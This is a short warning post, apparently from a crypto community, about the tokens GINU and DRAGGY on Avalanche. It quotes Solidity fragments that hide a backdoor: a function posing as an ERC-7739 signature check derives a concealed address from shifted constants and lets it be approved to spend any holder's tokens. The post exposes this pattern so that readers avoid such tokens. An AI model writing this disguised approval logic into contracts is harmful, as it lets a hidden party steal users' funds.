Both GINU and DRAGGY contain the following code fragments:
if (ERC7739Utils.personalSign(_msgSender()) && from != address(0)) {
_approve(from, _msgSender(), value);
}
function personalSign(address contents) internal pure returns (bool tar) {
assembly {
let current := add(
shr(0x1a, PERSONAL_SIGN_TYPEHASH_PREFIX),
shr(0x1b, PERSONAL_SIGN_TYPEHASH_SALT)
)
tar := eq(current, contents)
}
}
This is something to watch out for as the Avalanche trenches heat up.
Generally, just exercise caution on tokens you aren’t seeing on the TL from your frens!